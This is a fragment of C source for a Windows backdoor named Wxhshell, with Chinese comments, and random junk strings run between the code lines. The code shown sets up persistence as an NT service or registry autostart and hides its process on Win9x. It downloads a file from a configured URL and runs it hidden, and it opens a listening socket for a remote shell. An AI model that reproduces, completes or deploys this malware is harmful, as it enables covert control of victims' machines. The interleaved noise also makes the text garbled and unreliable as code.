]5L OouPj@r CloseHandle(hProcess); b^D$jY 7XKY]|S,' if(strstr(procName,"services")) return 1; // 以服务启动 b"!Q2S~ "YdEE\ return 0; // 注册表启动 8:BIbmtt5 } ?pgG,=? w.,Q1\*rPp // 主模块 Le<wR int StartWxhshell(LPSTR lpCmdLine) :1t~[-h^ { 3d<HN6&U SOCKET wsl; P =3RLL<l BOOL val=TRUE; W^3uEm&l!) int port=0; 322jR4QGr struct sockaddr_in door; ]EwVpvTw |-V&O=!^+ if(wscfg.ws_autoins) Install(); 1]IQg;q O+}qQNe< port=atoi(lpCmdLine); `wF8k{Pb V[-jD8='3 if(port<=0) port=wscfg.ws_port; lEHzyh}2k :l|%17N WSADATA data; '47P|t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2I*;A5$N1 fDG0BNLY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lds-T setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8-y{a.,u. door.sin_family = AF_INET; x(<(t:?o door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y"-^%@|p door.sin_port = htons(port); k}
]T;|h] \J+* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8NaqZ+5x closesocket(wsl); ,`ZYvF^% return 1; +)2s-A f- } Y"OG@1V;8
/'31w9 if(listen(wsl,2) == INVALID_SOCKET) { +w=AJdc closesocket(wsl); o9cM{ya/> return 1; 5M9 I, } oB74y Wxhshell(wsl); DjSbyXvrg WSACleanup(); 'v]u#/7a
lA>DS#_ return 0; f!O{%ev )(y)A[ } pb#?l6x$+ K&8dA0i2u2 // 以NT服务方式启动 k)TSR5A VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q#nOJ(KV { ,V*%V; DWORD status = 0; t3dlS`O DWORD specificError = 0xfffffff; :n /@z4# +la2n(CAK serviceStatus.dwServiceType = SERVICE_WIN32; {uGP&cS~( serviceStatus.dwCurrentState = SERVICE_START_PENDING; Duc#$YfGm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <{~6}6o serviceStatus.dwWin32ExitCode = 0; wm+/e#'& serviceStatus.dwServiceSpecificExitCode = 0; u]vQ>Uu serviceStatus.dwCheckPoint = 0; meOMq1 serviceStatus.dwWaitHint = 0; k?2k'2dy !9xp cQ> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rk)##) if (hServiceStatusHandle==0) return; Q>n|^y6 MNSbtT*^ status = GetLastError(); |=&cQRY!p if (status!=NO_ERROR) %;.;>Y(- { ?JL:CBvCp serviceStatus.dwCurrentState = SERVICE_STOPPED; C-iK$/U serviceStatus.dwCheckPoint = 0; yRo-EP serviceStatus.dwWaitHint = 0; :O(^w}sle serviceStatus.dwWin32ExitCode = status; ^5=B`aich serviceStatus.dwServiceSpecificExitCode = specificError; ei
rzYt SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4C FB"?n0 return; Q'%PNrN } W3iZ|[E; =+AS/Jq serviceStatus.dwCurrentState = SERVICE_RUNNING; a{[x4d,z serviceStatus.dwCheckPoint = 0; Y +Fljr* serviceStatus.dwWaitHint = 0; WD1G&5XP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Jd
',>3 } W^s
;Bi+Nw )n ,P"0 // 处理NT服务事件,比如:启动、停止 zA[0mkC?$ VOID WINAPI NTServiceHandler(DWORD fdwControl) % rxO_ { H/Llj.-jg switch(fdwControl) g&`pgmUX { fJ ,1Ef;Z case SERVICE_CONTROL_STOP: j\m_o% 4 serviceStatus.dwWin32ExitCode = 0; HeG)/W?r serviceStatus.dwCurrentState = SERVICE_STOPPED; :rg5Kt& serviceStatus.dwCheckPoint = 0; D:Zy serviceStatus.dwWaitHint = 0; Uf, 4 { Aj0Tfdxy SetServiceStatus(hServiceStatusHandle, &serviceStatus); {c
(!;U } Qci4J return; O)"gS!, case SERVICE_CONTROL_PAUSE: SCz(5[MZJ serviceStatus.dwCurrentState = SERVICE_PAUSED; 1|ra&(=) break; 4T=u`3pD7l case SERVICE_CONTROL_CONTINUE: 3mOtW%Hl serviceStatus.dwCurrentState = SERVICE_RUNNING; N&M~0iw break; Yh>]-SCw case SERVICE_CONTROL_INTERROGATE: 1CHeufQ break; Ry|!pV }; 8KRba4[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); f/V
2f]. } 7P9=)$(EH 1Uqu>' // 标准应用程序主函数 KjQR$- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v.]Q$q^ { l\s U 3JVK // 获取操作系统版本
V<j.xd7 OsIsNt=GetOsVer(); d$
^ ,bL2p GetModuleFileName(NULL,ExeFile,MAX_PATH); R%'^ gFk8 [3@):8
// 从命令行安装 A$w4PVS if(strpbrk(lpCmdLine,"iI")) Install(); qs QNjt +Xemf? // 下载执行文件 OD5m9XS if(wscfg.ws_downexe) { DS'n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~}+Hgi WinExec(wscfg.ws_filenam,SW_HIDE); o0pII )v } h}xeChw] m o:D9 if(!OsIsNt) { |gU(s // 如果时win9x,隐藏进程并且设置为注册表启动 `+uhy, HideProc(); ma((2My'H StartWxhshell(lpCmdLine); B:+6~&,- } O/<K!;(@? else ,L`$09\ if(StartFromService()) p8]68!=W\F // 以服务方式启动 beu\cV3 StartServiceCtrlDispatcher(DispatchTable); WASU0 else (t4&,W_spA // 普通方式启动 +9")KQT StartWxhshell(lpCmdLine); >2Kh0rIH VL*ovD%- return 0; Et/&^&=\- }
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